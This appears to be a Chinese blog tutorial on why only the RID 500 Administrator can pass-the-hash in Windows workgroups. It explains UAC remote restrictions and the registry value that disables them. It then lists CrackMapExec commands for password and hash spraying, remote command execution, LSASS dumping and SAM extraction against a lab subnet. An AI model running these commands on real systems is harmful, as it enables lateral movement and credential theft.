文章目錄
- 簡述
- RID 500本地管理員密碼噴灑
- 何為RIP 500 安全標識符
- SID與RID
- PTH為何必須是RID 500
- CrackMapExec進行密碼噴灑
簡述
在工作組PTH中為什么只有administrator賬號可以,下面進行講解與利用。
RID 500本地管理員密碼噴灑
何為RIP 500 安全標識符
安全標識符
安全標識符:安全標識符用于唯一標識安全主體或安全組。 安全主體可以表示可由操作系統進行身份驗證的任何實體,例如用戶帳戶、
計算機帳戶或在用戶或計算機帳戶的安全上下文中運行的線程或進程。每個帳戶或組,或在帳戶的安全上下文中運行的每個進程都具有由頒發機構(如 Windows 域控制器)頒發的唯一 SID。
SID 存儲在安全數據庫中。 在創建帳戶或組時,系統將生成用于標識特定帳戶或組的 SID。 如果已將某個 SID 用作用戶
或組的唯一標識符,則該 SID 絕不能再次用于標識其他用戶或組。每次用戶登錄時,系統都會為該用戶創建訪問令牌。 訪問令牌包含用戶的 SID、用戶權限以及用戶所屬的任何組的 SID。
此令牌為用戶在該計算機上執行的任何操作提供安全上下文。除了分配給特定用戶和組的唯一創建的域專用 SID 外,還有用來標識通用群體和通用用戶的公認 SID。 例如,“Everyone and
World”SID 標識包含所有用戶的組。 公認 SID 的值在所有操作系統中保持不變。從上面的微軟描述中可以認識到安全標識符的作用是用于標識安全主體或者安全組,安全主體比如用戶賬號例子:常見公認SID舉例:
KRBTGT(S-1-5-域-502):密鑰分發中心 (KDC) 服務使用的用戶帳戶。 該帳戶僅存在于域控制器上域管理員:(S-1-5-域-512)包含有權管理域的成員的全局組。 默認情況下,“Domain Admins”組是已加入域的所有計算機
(包括域控制器)上的“Administrators”組的成員。“Domain Admins”是組的任何成員在域的 Active Directory 中創建的
任何對象的默認所有者。 如果組的成員創建其他對象(如文件),則默認所有者是“Administrators”組。管理員(S-1-5-域-500):系統管理員的用戶帳戶。 每臺計算機都有一個本地“Administrator”帳戶,每個域都有一個域“Administrator”
帳戶。“Administrator”帳戶是在操作系統安裝過程中創建的第一個帳戶。 無法刪除、禁用或鎖定此帳戶,但可以重命名此帳戶。
默認情況下,管理員帳戶是“Administrator”組的成員,無法從該組中刪除。從微軟的說明中可以看到Administrator的安全標識符是S-1-5-域-500可是為什么又叫RID 500下面開始講解。
SID與RID
SID(安全標識符) Active Directory 域控制器副本分配SID
RID(相對標識符分配) 本地安全帳戶管理器 (SAM)分配RID
從上述微軟說明中可以看到SID的分配涉及到了域相關的部分,創建一個SID由Active Directory 域控制器進行分配
并且將副本廣播到其他域控,RID的分配簡單很多是一個單主機操作并分配與存儲的地方是本機SAM管理的帳戶數據庫中
,這就是SID與RID管理簡單的理解還有許多沒講的比如RIP可以看成是SID的一部分因為RID的頒發機構是SID,詳細可以
具體查看微軟文檔不在過多贅述。
PTH為何必須是RID 500
從上述內容中可以看到除了500之外還有其他安全主體相信大家在PTH的時候到非域環境的時候必須administrator賬號
才能成功為什么其他賬號就不行呢,比如位于管理員組的其他賬號為什么不行,administrator的RID就是500也就是說為何
非RID 500的賬號工作組環境中無法PTH,我建議大家看下微軟的資料。
在服務器管理器中配置遠程管理
重點閱讀:啟用或禁用遠程管理
用戶帳戶控制和遠程限制說明
重點閱讀:UAC 遠程限制如何工作本地用戶帳戶(安全帳戶管理器用戶帳戶)
如何禁用UAC遠程限制
用戶帳戶控制和 WMI
重點閱讀:在 UAC 下處理遠程連接
從重點閱讀的內容多次出現的UAC就能猜到這跟UAC有關那么我將為大家進行簡單的梳理。
啟用或禁用遠程管理:在遠程管理管理的時候內置管理員帳戶之外的本地管理員帳戶也可能不具有遠程管理服務器的權限也就是說,administrator是內置管理員賬號除了它之外的加入到本機管理員組的比如admin賬號是無法進行遠程管理的,WinRM也同樣受此影響。UAC遠程限制如何工作:UAC在遠程登錄的時候比如PTH/WinRM是受到限制的,限制的原因是為了助于防止環回攻擊的惡意軟件。本地用戶帳戶(安全帳戶管理器用戶帳戶):這種UAC限制是通過除內置管理員賬號之外的本機管理員賬號連接都是被降權過的,它們無法進行權限提升,是不完全管理員身份進行連接的,換句話說是已標準用戶身份運行而非管理員身份運行,只有在程協助或遠程桌面管理RDP下才已完全管理員身份進行連接。如何禁用UAC遠程限制:regedit打開注冊表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System找到LocalAccountTokenFilterPolicy項如果不存在則新建創建DWORD的LocalAccountTokenFilterPolicy值的數值為1則禁用UAC遠程限制,本地管理員組賬號如admin在其中則可以正常使用PTH/WinRM等進行登錄。在UAC下處理遠程連接:UAC限制跟是否處于工作組或域中有關,這也就解釋了為什么域管可以正常登錄而不受UAC限制的影響,域賬號的UAC訪問令牌過濾不會被影響。
CrackMapExec進行密碼噴灑
在工作組下為什么只有RID 500才能進行遠程登錄已經講過了下面將進行密碼復用,在工作組中運維或者負責人在安裝
系統的時候為了方便將內置管理員賬號使用同一個密碼可能在多臺機器上同時使用這個時候就可以進行密碼噴灑進行
橫向移動,下面將先進行CrackMapExec工具的使用。
CrackMapExec密碼噴灑:下載地址:https://github.com/byt3bl33d3r/CrackMapExec介紹:進行密碼噴灑命令格式:./cme smb 192.168.80.1/24 -u 'Administrator' -p 'WindowsServer2016' 顯示Pwn3d!說明密碼正確
CrackMapExec噴灑并執行命令:
./cme smb 192.168.80.1/24 -u 'Administrator' -p 'WindowsServer2016' --local-auth -x whoami --exec-method smbexec
實戰中抓取密碼hash形式而不是明文形式下面使用mimikatz抓取hash然后嘗試hash密碼噴灑
PTH密碼噴灑:
./cme smb 192.168.80.1/24 -u 'Administrator' -H 'f56493db963060257da87735557c6d5a'
PTH密碼噴灑執行命令
./cme smb 192.168.80.1/24 -u 'Administrator' -H 'f56493db963060257da87735557c6d5a' --local-auth -x whoami --exec-method smbexec
利用CrackMapExec模塊
CrackMapExec 協議 -L 查看支持哪些模塊
利用lsassy模塊對lsass進行遠程轉儲并查看賬號與密碼hash
./cme smb 192.168.80.1/24 -u 'Administrator' -H 'f56493db963060257da87735557c6d5a' -M lsassy
可以看到lsassy模塊成功抓取到了WIN-1IH6AQ46IHM\admin ebb81dddafd1c0222fd2022c2da26853
admin的Hash,當然也可以使用其他協議的模塊,需要注意的是不同的協議可用的模塊也不一樣下面查看
下mssql的模塊。
當然除了lsass遠程轉儲也可以獲取sam的內容
./cme smb 192.168.80.1/24 -u 'Administrator' -H 'f56493db963060257da87735557c6d5a' --local-auth --sam